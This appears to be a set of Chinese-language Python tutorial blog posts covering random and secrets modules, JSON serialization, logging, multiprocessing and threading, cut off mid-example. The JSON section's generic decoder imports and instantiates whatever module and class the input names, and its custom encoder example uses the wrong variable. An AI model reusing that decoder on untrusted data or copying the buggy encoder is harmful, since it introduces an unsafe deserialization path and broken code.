print(random.choice(list("ABCDEFGHI")))

print('\nRe-seeding with 1...\n')
random.seed(1)  # 重设随机种子

print(random.random())
print(random.uniform(1,10))
print(random.choice(list("ABCDEFGHI")))

print('\nRe-seeding with 42...\n')
random.seed(42)  # 重设随机种子

print(random.random())
print(random.uniform(1,10))
print(random.choice(list("ABCDEFGHI")))
    Seeding with 1...

    0.13436424411240122
    8.626903632435095
    B

    Re-seeding with 42...

    0.6394267984578837
    1.2250967970040025
    E

    Re-seeding with 1...

    0.13436424411240122
    8.626903632435095
    B

    Re-seeding with 42...

    0.6394267984578837
    1.2250967970040025
    E

secrets 模块

secrets 模块用于生成适合于管理数据(例如密码,帐户身份验证,安全令牌和相关机密)的密码学上强的随机数。

特别是,应优先使用secrets 而不是 random 模块中默认的伪随机数生成器,后者是为建模和仿真而设计的,而不是安全或加密技术。

import secrets

# [0, n) 之间的随机整数。
a = secrets.randbelow(10)
print(a)

# 返回具有k个随机位的整数。
a = secrets.randbits(5)
print(a)

# 从序列中选择一个随机元素
a = secrets.choice(list("ABCDEFGHI"))
print(a)
    6
    6
    E

NumPy的随机数

为多维数组创建随机数。NumPy伪随机数生成器与Python标准库伪随机数生成器不同。

重要的是,设置Python伪随机数生成器种子不会影响NumPy伪随机数生成器,必须单独设置和使用。

import numpy as np

np.random.seed(1)
# rand(d0,d1,…,dn)
# 生成随机浮点数的多维数组, 数组大小为 (d0,d1,…,dn)
print(np.random.rand(3))
# 重设随机种子
np.random.seed(1)
print(np.random.rand(3))

# 生成 [a,b) 之间随机整数的多维数组,大小为 n
values = np.random.randint(0, 10, (5,3))
print(values)

# 使用正态分布值生成多维数组,数组大小为 (d0,d1,…,dn)
# 来自标准正态分布的平均值为0.0且标准偏差为1.0的值
values = np.random.randn(5)
print(values)

# 随机排列一个多维数组.
# 仅沿多维数组的第一轴随机排列数组
arr = np.array([[1,2,3], [4,5,6], [7,8,9]])
np.random.shuffle(arr)
print(arr)
    [4.17022005e-01 7.20324493e-01 1.14374817e-04]
    [4.17022005e-01 7.20324493e-01 1.14374817e-04]
    [[5 0 0]
     [1 7 6]
     [9 2 4]
     [5 2 4]
     [2 4 7]]
    [-2.29230928 -1.41555249  0.8858294   0.63190187  0.04026035]
    [[4 5 6]
     [7 8 9]
     [1 2 3]]

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

11. JSON — Python 进阶

JSON(JavaScript对象表示法)是一种轻量级数据格式,用于数据交换。 在Python中具有用于编码和解码JSON数据的内置 json 模块。 只需导入它,就可以使用JSON数据了:

import json

JSON的一些优点:

  • JSON作为“字节序列”存在,在我们需要通过网络传输(流)数据的情况下非常有用。
  • 与XML相比,JSON小得多,可转化为更快的数据传输和更好的体验。
  • JSON非常文本友好,因为它是文本形式的,并且同时也是机器友好的。

JSON格式

{
    "firstName": "Jane",
    "lastName": "Doe",
    "hobbies": ["running", "swimming", "singing"],
    "age": 28,
    "children": [
        {
            "firstName": "Alex",
            "age": 5
        },
        {
            "firstName": "Bob",
            "age": 7
        }
    ]
}

JSON支持基本类型(字符串,数字,布尔值)以及嵌套的数组和对象。 根据以下转换,将简单的Python对象转换为JSON:

Python 和 JSON 转换

从Python到JSON(序列化,编码)

使用 json.dumps() 方法将Python对象转换为JSON字符串。

import json

person = {"name": "John", "age": 30, "city": "New York", "hasChildren": False, "titles": ["engineer", "programmer"]}

# 转为 JSON:
person_json = json.dumps(person)
# 使用不用的格式
person_json2 = json.dumps(person, indent=4, separators=("; ", "= "), sort_keys=True)

# 结果为 JSON 字符串
print(person_json) 
print(person_json2)
    {"name": "John", "age": 30, "city": "New York", "hasChildren": false, "titles":["engineer", "programmer"]}
    {
        "age"= 30; 
        "city"= "New York"; 
        "hasChildren"= false; 
        "name"= "John"; 
        "titles"= [
            "engineer"; 
            "programmer"
        ]
    }

或将Python对象转换为JSON对象,然后使用 json.dump() 方法将其保存到文件中。

import json

person = {"name": "John", "age": 30, "city": "New York", "hasChildren": False, "titles": ["engineer", "programmer"]}

with open('person.json', 'w') as f:
    json.dump(person, f) # 你也可以设置缩进等

从JSON到Python(反序列化,解码)

使用 json.loads() 方法将JSON字符串转换为Python对象。 结果将是一个Python字典。

import json
person_json = """
{
    "age": 30, 
    "city": "New York",
    "hasChildren": false, 
    "name": "John",
    "titles": [
        "engineer",
        "programmer"
    ]
}
"""
person = json.loads(person_json)
print(person)
    {'age': 30, 'city': 'New York', 'hasChildren': False, 'name': 'John', 'titles': ['engineer', 'programmer']}

或从文件加载数据,然后使用 json.load()方法将其转换为Python对象。

import json

with open('person.json', 'r') as f:
    person = json.load(f)
    print(person)
    {'name': 'John', 'age': 30, 'city': 'New York', 'hasChildren': False, 'titles': ['engineer', 'programmer']}

使用自定义对象

编码

使用默认的 JSONEncoder 编码自定义对象将引发 TypeError。 我们可以指定一个自定义的编码函数,该函数将类名和所有对象变量存储在字典中。 将此函数用作 json.dump() 方法中的 default 参数。

import json
def encode_complex(z):
    if isinstance(z, complex):
        # 只是类名的键很重要,值可以是任意的。
        return {z.__class__.__name__: True, "real":z.real, "imag":z.imag}
    else:
        raise TypeError(f"Object of type '{z.__class__.__name__}' is not JSON serializable")

z = 5 + 9j
zJSON = json.dumps(z, default=encode_complex)
print(zJSON)
    {"complex": true, "real": 5.0, "imag": 9.0}

你还可以创建一个自定义的 Encoder 类,并覆盖 default() 方法。 将其用于 json.dump() 方法中的 cls 参数,或直接使用编码器。

from json import JSONEncoder
class ComplexEncoder(JSONEncoder):
    
    def default(self, o):
        if isinstance(z, complex):
            return {z.__class__.__name__: True, "real":z.real, "imag":z.imag}
        # 让基类的默认方法处理其他对象或引发TypeError
        return JSONEncoder.default(self, o)
    
z = 5 + 9j
zJSON = json.dumps(z, cls=ComplexEncoder)
print(zJSON)
# 或者直接使用编码器
zJson = ComplexEncoder().encode(z)
print(zJSON)
    {"complex": true, "real": 5.0, "imag": 9.0}
    {"complex": true, "real": 5.0, "imag": 9.0}

解码

可以使用默认 JSONDecoder 解码自定义对象,但是它将被解码为字典。 编写一个自定义解码函数,该函数将以字典作为输入,并在可以在字典中找到对象类名称的情况下创建自定义对象。 将此函数用于 json.load() 方法中的 object_hook 参数。

# 可能但解码为字典
z = json.loads(zJSON)
print(type(z))
print(z)

def decode_complex(dct):
    if complex.__name__ in dct:
        return complex(dct["real"], dct["imag"])
    return dct

# 现在,对象在解码后的类型为complex
z = json.loads(zJSON, object_hook=decode_complex)
print(type(z))
print(z)
    <class 'dict'>
    {'complex': True, 'real': 5.0, 'imag': 9.0}
    <class 'complex'>
    (5+9j)

模板编码和解码函数

如果在 __init__ 方法中提供了所有类变量,则此方法适用于所有自定义类。

class User:
		# 自定义类在 __init__() 中包含所有类变量
    def __init__(self, name, age, active, balance, friends):
        self.name = name
        self.age = age
        self.active = active
        self.balance = balance
        self.friends = friends
        
class Player:
    # 其他自定义类
    def __init__(self, name, nickname, level):
        self.name = name
        self.nickname = nickname
        self.level = level
          
            
def encode_obj(obj):
    """
    接受一个自定义对象,并返回该对象的字典表示形式。 此字典表示形式还包括对象的模块和类名称。
    """
  
		# 用对象元数据填充字典
    obj_dict = {
      "__class__": obj.__class__.__name__,
      "__module__": obj.__module__
    }
  
    # 用对象属性填充字典
    obj_dict.update(obj.__dict__)
  
    return obj_dict

def decode_dct(dct):
    """
    接受字典并返回与该字典关联的自定义对象。
    它利用字典中的 "__module__" 和 "__class__" 元数据来了解要创建的对象类型。
    """
    if "__class__" in dct:
        # Pop ensures we remove metadata from the dict to leave only the instance arguments
        class_name = dct.pop("__class__")
        
        # Get the module name from the dict and import it
        module_name = dct.pop("__module__")
        
        # We use the built in __import__ function since the module name is not yet known at runtime
        module = __import__(module_name)
        
        # Get the class from the module
        class_ = getattr(module,class_name)

        # Use dictionary unpacking to initialize the object
        # Note: This only works if all __init__() arguments of the class are exactly the dict keys
        obj = class_(**dct)
    else:
        obj = dct
    return obj

# User 类适用于我们的编码和解码方法
user = User(name = "John",age = 28, friends = ["Jane", "Tom"], balance = 20.70, active = True)

userJSON = json.dumps(user,default=encode_obj,indent=4, sort_keys=True)
print(userJSON)

user_decoded = json.loads(userJSON, object_hook=decode_dct)
print(type(user_decoded))

# Player 类也适用于我们的编码和解码方法
player = Player('Max', 'max1234', 5)
playerJSON = json.dumps(player,default=encode_obj,indent=4, sort_keys=True)
print(playerJSON)

player_decoded = json.loads(playerJSON, object_hook=decode_dct)
print(type(player_decoded))
    {
        "__class__": "User",
        "__module__": "__main__",
        "active": true,
        "age": 28,
        "balance": 20.7,
        "friends": [
            "Jane",
            "Tom"
        ],
        "name": "John"
    }
    <class '__main__.User'>
    {
        "__class__": "Player",
        "__module__": "__main__",
        "level": 5,
        "name": "Max",
        "nickname": "max1234"
    }
    <class '__main__.Player'>

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

10. 日志记录 — Python 进阶

Python中的日志记录模块是功能强大的内置模块,因此你可以快速将日志记录添加到应用程序中。

import logging

日志级别

有5种不同的日志级别指示事件的严重程度。 默认情况下,系统仅记录 警告(WARNING) 级别及更高级别的事件。

import logging
logging.debug('This is a debug message')
logging.info('This is an info message')
logging.warning('This is a warning message')
logging.error('This is an error message')
logging.critical('This is a critical message')
    WARNING:root:This is a warning message
    ERROR:root:This is an error message
    CRITICAL:root:This is a critical message

配置

使用 basicConfig(**kwargs),你可以自定义根记录器。 最常见的参数是 levelformatfilename。查看全部可能的参数:https://docs.python.org/3/library/logging.html#logging.basicConfig。查看可能的 format :https://docs.python.org/3/library/logging.html#logrecord-attributes。查看如何设置时间字符串:https://docs.python.org/3/library/time.html#time.strftime。请注意,此函数仅应调用一次,通常在导入模块后首先调用。 如果根记录器已经配置了处理程序,则该设置无效。 例如,在 basicConfig 之前调用 logging.info(...) 将提前设置处理程序。

import logging
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%m/%d/%Y %H:%M:%S')
# 现在,调试消息也将以其他格式记录。
logging.debug('Debug message')

# 这将记录到文件而不是控制台。
# logging.basicConfig(level=logging.DEBUG, filename='app.log')

模块内记录和记录器层次结构

在具有多个模块的应用程序中,最佳实践是使用 __name__ 全局变量创建内部记录器。 这将使用你的模块名称创建一个记录器,并确保没有名称冲突。 日志记录模块创建记录器的层次结构,从根记录器开始,然后将新的记录器添加到该层次结构中。 如果随后将模块导入另一个模块,则可以通过记录器名称将日志消息与正确的模块关联。 请注意,更改根记录器的 basicConfig 还将影响层次结构中其他(下部)记录器的日志事件。

# helper.py
# -------------------------------------
import logging
logger = logging.getLogger(__name__)
logger.info('HELLO')

# main.py
# -------------------------------------
import logging
logging.basicConfig(level=logging.INFO, format='%(name)s - %(levelname)s - %(message)s')
import helper

# --> 当运行 main.py 时的输出
# helper - INFO - HELLO

传播

默认情况下,除了附加到创建的记录器的任何处理程序外,所有创建的记录器还将日志事件传递给高级记录器的处理程序。 你可以通过设置 propagate = False 来禁用此功能。 有时,当你想知道为什么看不到来自另一个模块的日志消息时,则可能是此属性。

# -------------------------------------
import logging
logger = logging.getLogger(__name__)
logger.propagate = False
logger.info('HELLO')

# main.py
# -------------------------------------
import logging
logging.basicConfig(level=logging.INFO, format='%(name)s - %(levelname)s - %(message)s')
import helper

# --> 运行main.py时无输出,因为 helper 模块记录器不会将其消息传播到根记录器

日志处理程序

处理程序对象负责将适当的日志消息调度到处理程序的特定目标。 例如,你可以使用不同的处理程序通过HTTP或通过电子邮件将消息发送到标准输出流,文件。 通常,你为每个处理程序配置一个级别( setLevel() ),一个格式化程序( setFormatter())和一个可选的过滤器( addFilter() )。 有关可能的内置处理程序,请参见 https://docs.python.org/3/howto/logging.html#useful-handlers。 当然,你也可以通过派生这些类来实现自己的处理程序。

import logging

logger = logging.getLogger(__name__)

# 创建处理器
stream_handler = logging.StreamHandler()
file_handler = logging.FileHandler('file.log')

# 配置级别和格式化程序,并添加到处理器上
stream_handler.setLevel(logging.WARNING) # 警告及以上级别日志记录到流中
file_handler.setLevel(logging.ERROR) # 错误及以上级别记录到文件中

stream_format = logging.Formatter('%(name)s - %(levelname)s - %(message)s')
file_format = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
stream_handler.setFormatter(stream_format)
file_handler.setFormatter(file_format)

# 添加处理器到日志记录器上
logger.addHandler(stream_handler)
logger.addHandler(file_handler)

logger.warning('This is a warning') # 记录到流中
logger.error('This is an error') # 记录到流和文件中

过滤器例子

class InfoFilter(logging.Filter):
    
    # 覆盖此方法。 仅此方评估为True的日志记录将通过过滤器。
    def filter(self, record):
        return record.levelno == logging.INFO

# 现在只有 INFO 级别的消息会被记录。
stream_handler.addFilter(InfoFilter())
logger.addHandler(stream_handler)

其他配置方法

我们已经看到了如何配置日志,从而在代码中显式地创建日志记录器,处理程序和格式化程序。 还有其他两种配置方法:

.conf文件

创建一个 .conf(或有时存储为 .ini)文件,定义记录器,处理程序和格式化程序,并提供名称作为键。 定义其名称后,可以通过在其名称之间用下划线分隔之前添加单词 loggerhandlerformatter 进行配置。 然后,你可以为每个记录器,处理程序和格式化程序设置属性。 在下面的示例中,将使用 StreamHandler 配置根记录器和名为 simpleExample 的记录器。

# logging.conf
[loggers]
keys=root,simpleExample

[handlers]
keys=consoleHandler

[formatters]
keys=simpleFormatter

[logger_root]
level=DEBUG
handlers=consoleHandler

[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0

[handler_consoleHandler]
class=StreamHandler
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)

[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
# 在代码中使用配置文件
import logging
import logging.config

logging.config.fileConfig('logging.conf')

# 使用配置文件中的名称创建记录器。
# 该记录器现在具有带有 DEBUG 级别和指定格式的 StreamHandler
logger = logging.getLogger('simpleExample')

logger.debug('debug message')
logger.info('info message')

捕获堆栈跟踪

将跟踪记录记录在异常日志中对于解决问题非常有用。 你可以通过将 excinfo 参数设置为True来捕获 logging.error() 中的回溯。

import logging

try:
    a = [1, 2, 3]
    value = a[3]
except IndexError as e:
    logging.error(e)
    logging.error(e, exc_info=True)
    ERROR:root:list index out of range
    ERROR:root:list index out of range
    Traceback (most recent call last):
      File "<ipython-input-6-df97a133cbe6>", line 5, in <module>
        value = a[3]
    IndexError: list index out of range

如果未捕获正确的 Exception,则还可以使用 traceback.formatexc() 方法记录该异常。

滚动 FileHandler

当你有一个大型应用程序将许多事件记录到一个文件中,而你只需要跟踪最近的事件时,请使用RotatingFileHandler来使文件保持较小。 当日志达到一定数量的字节时,它将被“滚动”。 你还可以保留多个备份日志文件,然后再覆盖它们。

import logging
from logging.handlers import RotatingFileHandler

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)

# 2KB后滚动,并保留备份日志为 app.log.1, app.log.2 等.
handler = RotatingFileHandler('app.log', maxBytes=2000, backupCount=5)
logger.addHandler(handler)

for _ in range(10000):
    logger.info('Hello, world!')

TimedRotatingFileHandler

如果你的应用程序将长时间运行,则可以使用 TimedRotatingFileHandler。 这将根据经过的时间创建一个轮换日志。 when 参数的可能时间条件是:

  • second (s)
  • minute (m)
  • hour (h)
  • day (d)
  • w0-w6 (工作日, 0=星期一)
  • midnight
import logging
import time
from logging.handlers import TimedRotatingFileHandler
 
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)

# 这将每分钟创建一个新的日志文件,并在覆盖旧日志之前创建一个带有时间戳的5个备份文件。
handler = TimedRotatingFileHandler('timed_test.log', when='m', interval=1, backupCount=5)
logger.addHandler(handler)
 
for i in range(6):
    logger.info('Hello, world!')
    time.sleep(50)

以JSON格式登录

如果你的应用程序从不同的模块(特别是在微服务体系结构中)生成许多日志,那么定位重要的日志以进行分析可能会很困难。 因此,最佳实践是以JSON格式记录你的消息,并将其发送到集中式日志管理系统。 然后,你可以轻松地搜索,可视化和分析日志记录。

我建议使用此开源JSON记录器:https://github.com/madzak/python-json-logger

pip install python-json-logger
import logging
from pythonjsonlogger import jsonlogger

logger = logging.getLogger()

logHandler = logging.StreamHandler()
formatter = jsonlogger.JsonFormatter()
logHandler.setFormatter(formatter)
logger.addHandler(logHandler)

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

17. 多进程 — Python 进阶

在本文中,我们讨论了如何在Python中使用 multiprocessing 模块。

  • 如何创建和启动多个进程
  • 如何等待进程完成
  • 如何在进程之间共享数据
  • 如何使用 lock 来防止竞态情
  • 如何使用 Queue 进行进程安全的数据/任务处理
  • 如何使用 Pool 来管理多个工作进程。

创建和运行进程

你可以使用 multiprocessing.Process() 创建一个进程。 它包含两个重要的参数:

  • target:进程启动时要调用的可调用对象(函数)
  • args:目标函数的(函数)参数。 这必须是一个元组。

使用 process.start() 启动一个进程

调用 process.join() 告诉程序在继续执行其余代码之前,应等待该进程完成。

from multiprocessing import Process
import os

def square_numbers():
    for i in range(1000):
        result = i * i

        
if __name__ == "__main__":        
    processes = []
    num_processes = os.cpu_count()
    # 机器CPU的数量,通常是确定进程数量的一个好选择

    # 创建进程并分配每个进程一个函数
    for i in range(num_processes):
        process = Process(target=square_numbers)
        processes.append(process)

    # 启动所有进程
    for process in processes:
        process.start()

    # 等待所有进程结束
    # 阻塞主程序直到所有进程结束
    for process in processes:
        process.join()

在进程之间共享数据

由于进程不在同一个内存空间中,因此它们无法访问相同(公共)数据。 因此,它们需要特殊的共享内存对象来共享数据。

可以使用 Value 或者 Array 将数据存储在共享内存变量中。

  • Value(type, value):创建类型为 typectypes 对象。 使用 .target 访问该值。
  • Array(type, value):使用类型为 type 的元素创建一个 ctypes 数组。 用 [] 访问值。

任务:创建两个进程,每个进程都应该有权访问一个共享变量并对其进行修改(在这种情况下,只是将其重复增加1达100次)。 创建另外两个共享一个数组的进程,然后修改(增加)该数组中的所有元素。

from multiprocessing import Process, Value, Array
import time

def add_100(number):
    for _ in range(100):
        time.sleep(0.01)
        number.value += 1

def add_100_array(numbers):
    for _ in range(100):
        time.sleep(0.01)
        for i in range(len(numbers)):
            numbers[i] += 1

if __name__ == "__main__":

    shared_number = Value('i', 0) 
    print('Value at beginning:', shared_number.value)

    shared_array = Array('d', [0.0, 100.0, 200.0])
    print('Array at beginning:', shared_array[:])

    process1 = Process(target=add_100, args=(shared_number,))
    process2 = Process(target=add_100, args=(shared_number,))

    process3 = Process(target=add_100_array, args=(shared_array,))
    process4 = Process(target=add_100_array, args=(shared_array,))

    process1.start()
    process2.start()
    process3.start()
    process4.start()

    process1.join()
    process2.join()
    process3.join()
    process4.join()

    print('Value at end:', shared_number.value)
    print('Array at end:', shared_array[:])

    print('end main')
    Value at beginning: 0
    Array at beginning: [0.0, 100.0, 200.0]
    Value at end: 144
    Array at end: [134.0, 237.0, 339.0]
    end main

如何使用锁

请注意,在上面的示例中,两个进程应将共享值增加1达100次。 这样一来,总共进行了200次操作。 但是为什么终值不是200?

竞态条件

这里发生了竞态情况。当两个或多个进程或线程可以访问共享数据并且它们试图同时更改它们时,就会发生竞态情况。在我们的示例中,两个进程必须读取共享值,将其增加1,然后将其写回到共享变量中。如果这同时发生,则两个进程将读取相同的值,将其增加并写回。因此,两个进程都将相同的增加的值写回到共享对象中,并且该值未增加2。有关竞态条件的详细说明,请参见 16. 多线程 — Python 进阶

避免带锁的竞态条件

锁(也称为互斥锁)是一种同步机制,用于在存在许多执行进程/线程的环境中强制限制对资源的访问。锁具有两种状态:锁定和解锁。如果状态为锁定,则在状态再次被解锁之前,不允许其他并发进程/线程进入此代码段。

两个函数很重要:

  • lock.acquire():这将锁定状态并阻塞
  • lock.release():这将再次解锁状态。

重要提示:块获得后,你应始终再次释放它!

在我们的示例中,读取并增加了共享变量的关键代码部分现已锁定。这样可以防止第二个进程同时修改共享库。我们的代码没有太大变化。所有新更改都在下面的代码中进行了注释。

# import Lock
from multiprocessing import Lock
from multiprocessing import Process, Value, Array
import time

def add_100(number, lock):
    for _ in range(100):
        time.sleep(0.01)
        # lock the state
        lock.acquire()
        
        number.value += 1
        
        # 解锁状态
        lock.release()

def add_100_array(numbers, lock):
    for _ in range(100):
        time.sleep(0.01)
        for i in range(len(numbers)):
            lock.acquire()
            numbers[i] += 1
            lock.release()

if __name__ == "__main__":

    # 创建锁
    lock = Lock()
    
    shared_number = Value('i', 0) 
    print('Value at beginning:', shared_number.value)

    shared_array = Array('d', [0.0, 100.0, 200.0])
    print('Array at beginning:', shared_array[:])

    # 将锁传入目标函数
    process1 = Process(target=add_100, args=(shared_number, lock))
    process2 = Process(target=add_100, args=(shared_number, lock))

    process3 = Process(target=add_100_array, args=(shared_array, lock))
    process4 = Process(target=add_100_array, args=(shared_array, lock))

    process1.start()
    process2.start()
    process3.start()
    process4.start()

    process1.join()
    process2.join()
    process3.join()
    process4.join()

    print('Value at end:', shared_number.value)
    print('Array at end:', shared_array[:])

    print('end main')
    Value at beginning: 0
    Array at beginning: [0.0, 100.0, 200.0]
    Value at end: 200
    Array at end: [200.0, 300.0, 400.0]
    end main

使用锁作为上下文管理器

lock.acquire() 之后,你应该永远不要忘记调用 lock.release() 来解锁代码。 你还可以将锁用作上下文管理器,这将安全地锁定和解锁你的代码。 建议以这种方式使用锁:

def add_100(number, lock):
    for _ in range(100):
        time.sleep(0.01)
        with lock:
            number.value += 1

在Python中使用队列

数据也可以通过队列在进程之间共享。 队列可用于多线程和多进程环境中的线程安全/进程安全数据交换和数据处理,这意味着你可以避免使用任何同步原语(例如锁)。

队列 队列是遵循先进先出(FIFO)原理的线性数据结构。 一个很好的例子是排队等候的客户队列,其中首先服务的是第一位的客户。

from multiprocessing import Queue

# 创建队列
q = Queue()

# 添加元素
q.put(1) # 1
q.put(2) # 2 1
q.put(3) # 3 2 1 

# 现在 q 看起来是这样的:
# back --> 3 2 1 --> front

# 获取和移除第一个元素
first = q.get() # --> 1
print(first) 

# q 现在看起来是这样的:
# back --> 3 2 --> front
    1

在多进程中使用队列

带有队列的操作是进程安全的。 除了 task_done()join() 之外,多进程队列实现了 queue.Queue 的所有方法。 重要方法是:

  • q.get():删除并返回第一项。 默认情况下,它会阻塞,直到该项可用为止。
  • q.put(item):将元素放在队列的末尾。 默认情况下,它会阻塞,直到有空闲插槽可用为止。
  • q.empty():如果队列为空,则返回True。
  • q.close():指示当前进程不会再将更多数据放入此队列。
# 使用多进程队列在进程之间进行通信
# 队列是线程和进程安全的
from multiprocessing import Process, Queue

def square(numbers, queue):
    for i in numbers:
        queue.put(i*i)

def make_negative(numbers, queue):
    for i in numbers:
        queue.put(i*-1)

if __name__ == "__main__":
    
    numbers = range(1, 6)
    q = Queue()

    p1 = Process(target=square, args=(numbers,q))
    p2 = Process(target=make_negative, args=(numbers,q))

    p1.start()
    p2.start()

    p1.join()
    p2.join()

    # 顺序可能不是按序列的
    while not q.empty():
        print(q.get())
        
    print('end main')
    1
    4
    9
    16
    25
    -1
    -2
    -3
    -4
    -5
    end main

进程池

进程池对象控制可以向其提交作业的工作进程池。它支持带有超时和回调的异步结果,并具有并行映射实现。它可以自动管理可用的处理器,并将数据拆分为较小的块,然后由不同的进程并行处理。有关所有可能的方法,请参见 https://docs.python.org/3.7/library/multiprocessing.html#multiprocessing.pool。重要方法有

  • map(func, iterable[, chunksize]):此方法将 Iterable 分成许多块,作为单独的任务提交给进程池。这些块的(大约)大小可以通过将 chunksize 设置为正整数来指定。它会阻塞,直到结果准备好为止。
  • close():阻止将更多任务提交到池中。一旦完成所有任务,工作进程将退出。
  • join():等待工作进程退出。使用 join() 之前,必须先调用 close()terminate()
  • apply(func, args):使用参数args调用func。它会阻塞,直到结果准备好为止。 func仅在池的一个工作程序中执行。

注意:也有不会阻塞的异步变体 map_async()apply_async()。结果准备好后,他们可以执行回调。

from multiprocessing import Pool 

def cube(number):
    return number * number * number

    
if __name__ == "__main__":
    numbers = range(10)
    
    p = Pool()

    # 默认情况下,这将分配此任务的最大可用处理器数 --> os.cpu_count()
    result = p.map(cube,  numbers)
    
    # or 
    # result = [p.apply(cube, args=(i,)) for i in numbers]
    
    p.close()
    p.join()
    
    print(result)
    [0, 1, 8, 27, 64, 125, 216, 343, 512, 729]

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

16. 多线程 — Python 进阶

在本文中,我们讨论了如何在Python中使用 threading 模块。

  • 如何创建和启动多个线程
  • 如何等待线程完成
  • 如何在线程之间共享数据
  • 如何使用锁( lock )来防止竞态情况
  • 什么是守护线程
  • 如何使用 Queue 进行线程安全的数据/任务处理。

创建和运行线程

你可以使用 threading.Thread() 创建一个线程。 它包含两个重要的参数:

  • target:线程启动时要调用的该线程的可调用对象(函数)
  • args:目标函数的(函数)参数。 这必须是一个元组

使用 thread.start() 启动线程

调用 thread.join() 告诉程序在继续执行其余代码之前,应等待该线程完成。

from threading import Thread

def square_numbers():
    for i in range(1000):
        result = i * i

        
if __name__ == "__main__":        
    threads = []
    num_threads = 10

    # 创建线程,并给每一个线程分配函数
    for i in range(num_threads):
        thread = Thread(target=square_numbers)
        threads.append(thread)

    # 启动所有线程
    for thread in threads:
        thread.start()

    # 等待所有线程结束
    # 阻塞主线程直到所有线程结束
    for thread in threads:
        thread.join()

在线程之间共享数据

由于线程位于相同的内存空间中,因此它们可以访问相同的(公共)数据。 因此,例如,你可以简单地使用所有线程都具有读取和写入访问权限的全局变量。

任务:创建两个线程,每个线程应访问当前数据库值,对其进行修改(在这种情况下,仅将其增加1),然后将新值写回到数据库值中。 每个线程应执行10次此操作。

from threading import Thread
import time

# 所有线程可以访问全局变量
database_value = 0

def increase():
    global database_value # 需要可以修改全局变量
    
    # 获取本地副本(模拟数据获取)
    local_copy = database_value

    # 模拟一些修改操作
    local_copy += 1
    time.sleep(0.1)

    # 将计算的性质写入全局变量
    database_value = local_copy

if __name__ == "__main__":

    print('Start value: ', database_value)

    t1 = Thread(target=increase)
    t2 = Thread(target=increase)

    t1.start()
    t2.start()

    t1.join()
    t2.join()

    print('End value:', database_value)

    print('end main')
    Start value:  0
    End value: 1
    end main

如何使用锁

请注意,在上面的示例中,2个线程将值递增1,因此将执行2个递增操作。但是,为什么最终值是1而不是2?

竞态条件

这里发生了竞态情况。当两个或多个线程可以访问共享数据并且它们试图同时更改它们时,就会发生竞态情况。因为线程调度算法可以随时在线程之间交换,所以你不知道线程尝试访问共享数据的顺序。在我们的例子中,第一个线程访问 database_value(0)并将其存储在本地副本中。然后将其递增( local_copy 现在为1)。利用我们的 time.sleep() 函数,该函数仅模拟一些耗时的操作,在此期间,程序将交换到第二个线程。这还将检索当前的 database_value(仍为0),并将 local_copy 递增为1。现在,两个线程都有一个值为1的本地副本,因此两个线程都将1写入全局 database_value。这就是为什么最终值是1而不是2的原因。

使用锁避免竞态条件

锁(也称为互斥锁)是一种同步机制,用于在存在许多执行线程的环境中强制限制对资源的访问。锁具有两种状态:锁定解锁。如果状态是锁定的,则在状态再次被解锁之前,不允许其他并发线程进入此代码段。

两个函数很重要:

  • lock.acquire():这将锁定状态并阻塞
  • lock.release():这将再次解锁状态。

重要提示:块获得后,你应始终再次释放它!

在我们的示例中,检索和修改数据库值的关键代码部分现已锁定。这样可以防止第二个线程同时修改全局数据。我们的代码没有太大变化。所有新更改都在下面的代码中进行了注释。

# import Lock
from threading import Thread, Lock
import time

database_value = 0

def increase(lock):
    global database_value 
    
    # 锁定状态
    lock.acquire()
    
    local_copy = database_value
    local_copy += 1
    time.sleep(0.1)
    database_value = local_copy
    
    # 解锁状态
    lock.release()

if __name__ == "__main__":

    # 创建锁
    lock = Lock()
    
    print('Start value: ', database_value)

    # 将锁传递给目标函数
    t1 = Thread(target=increase, args=(lock,)) # 注意锁后的逗号,因为args必须是一个元组
    t2 = Thread(target=increase, args=(lock,))

    t1.start()
    t2.start()

    t1.join()
    t2.join()

    print('End value:', database_value)

    print('end main')
    Start value:  0
    End value: 2
    end main

使用锁作为上下文管理器

lock.acquire() 之后,你应该永远不要忘记调用 lock.release() 来解锁代码。 你还可以将锁用作上下文管理器,这将安全地锁定和解锁你的代码。 建议以这种方式使用锁:

def increase(lock):
    global database_value 
    
    with lock: 
        local_copy = database_value
        local_copy += 1
        time.sleep(0.1)
        database_value = local_copy

在Python中使用队列

队列可用于多线程和多进程环境中的线程安全/进程安全的数据交换和数据处理。

队列

队列是遵循先进先出(FIFO)原理的线性数据结构。 一个很好的例子是排队等候的客户队列,其中首先服务的是第一位的客户。

from queue import Queue

# 创建队列
q = Queue()

# 添加元素
q.put(1) # 1
q.put(2) # 2 1
q.put(3) # 3 2 1 

# 现在 q 看起来是这样的:
# back --> 3 2 1 --> front

# 获取和移除第一个元素
first = q.get() # --> 1
print(first) 

# q 现在看起来是这样的:
# back --> 3 2 --> front
    1

在多线程中使用队列

带有队列的操作是线程安全的。重要方法是:

  • q.get():删除并返回第一项。默认情况下,它会阻塞,直到该项可用为止。
  • q.put(item):将元素放在队列的末尾。默认情况下,它会阻塞,直到有空闲插槽可用为止。
  • q.task_done():指示先前入队的任务已完成。对于每个 get(),在完成此项任务后,都应调用此函数。
  • q.join():阻塞直到队列中的所有项目都已获取并处理(已为每个项目调用 task_done())。
  • q.empty():如果队列为空,则返回True。

以下示例使用队列来交换0至19之间的数字。每个线程都调用worker方法。在无限循环内,线程等待直到由于阻塞 q.get() 调用而使项可用为止。项可用时,将对其进行处理(即,仅在此处打印),然后 q.task_done() 告知队列处理已完成。在主线程中,创建10个守护线程。这意味着它们在主线程死亡时自动死亡,因此不再调用worker方法和无限循环。然后,队列中填充了项,并且worker方法可以继续使用可用项。最后,需要 q.join() 来阻塞主线程,直到获得并处理所有项为止。

from threading import Thread, Lock, current_thread
from queue import Queue

def worker(q, lock):
    while True:
